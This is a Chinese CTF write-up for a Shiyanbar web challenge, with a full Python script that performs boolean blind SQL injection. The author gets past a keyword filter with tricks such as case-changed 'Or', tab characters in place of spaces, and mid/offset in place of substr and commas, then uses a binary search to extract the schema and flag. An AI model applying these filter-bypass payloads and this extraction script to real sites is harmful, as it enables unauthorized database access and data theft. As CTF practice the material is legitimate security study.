实验吧 认真一点！
真的很久很久没碰过这个玩意了，真是不会了，而且这个题目本身就不是很容易，搞得我也是满肚子邪火，很气。这个题目主要难在它吧过滤和ban结合到了一起了。我们还是先看题目,首先拿到题目看到输入id=0和输入id=1结果不一样，这就奠定了盲注的基础了
然后我们肯定要fuzz一下，结果如下
禁了union、and、substr，sleep，堵住了时间盲注、联合查询注入的路子，而且还把逗号禁止了…这就麻烦了，肯定偏移要用from和offset什么的了，猜测语句一定是类似这样的
select flag from flag where id=输入然后进行测试发现规律
感谢出题人没过滤单引号…然后我们构造
把我兴奋了老半天心想这就完了？结果并并并不是！！！他喵的过滤了or…或一个方向就完蛋
然后我就迷茫了…最后发现可以用oorr或者Or代替就可
然后就任我行了，注意空格被干掉了，用什么%09替换掉即可，再往后information什么倒是都没禁掉，但是注意information中包含or，需要替换掉。写一个二分盲注脚本即可，具体用到limit的offset偏移。然后它禁掉了substr，但是我们还有mid，用mid(table from offset)即可，剩下的直接看代码吧，我的代码很难看，我是一边调一边写的，所以我也事后看不懂…看语句即可…
# -*- coding: utf-8 -*-
import requests
import urllib
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
temp = 0
headers = {
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "81",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
def make_payload(target):
return target.replace(' ','%09').replace('or','Or')
def get_length(target): #获取字段长度
global headers
global url
for i in range(0,50):
print i
payload = target[:-5]+str(i)+target[-5:]
payload = urllib.unquote(make_payload(payload))
#print payload
data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
content = requests.post(url=url,headers=headers,data=data).text
#print content
if "You are in" in content:
return i
return 0
def search2(l,r,target): #二分盲注喽，求单字节
if l>r:
return
global headers
global url
global temp
mid = (l+r)/2
payload = target[:-5]+str(mid)+target[-5:]
payload = urllib.unquote(make_payload(payload))
print payload
data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
content = requests.post(url=url,headers=headers,data=data).text
if "You are in" in content:
temp = max(temp,mid)
search2(mid+1,r,target)
else:
search2(l,mid-1,target)
def get_content(column,table,offset,len,where,sign): #这么多参数是为了构造payload
global temp
content = ''
for i in range(1,len+1):
temp = 0
if sign==0:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))>=)Or'0"
else:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))>=)Or'0"
search2(0,255,payload)
content+=chr(temp)
print content
return content
#--------获取数据库名--------
#payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0"
#len = get_length(payload) #18
#database = get_content('schema_name','information_schema.schemata',"1",18,0,0) #ctf_sql_bool_blind#test
#--------获取表名--------
#payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #4,5
#table = get_content('table_name','information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fiag
#--------获取列名--------
#payload = "0'Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #5
#column = get_content('column_name','information_schema.columns',"0",5,'where table_name=0x66696167',1) #fL$4G
#--------获取字段内容--------
#payload = "0'Or(length((select fL$4G from fiag limit 1 offset 0))=)Or'0"
#len = get_length(payload) #19
flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}
有意思的题目，做出来很费劲…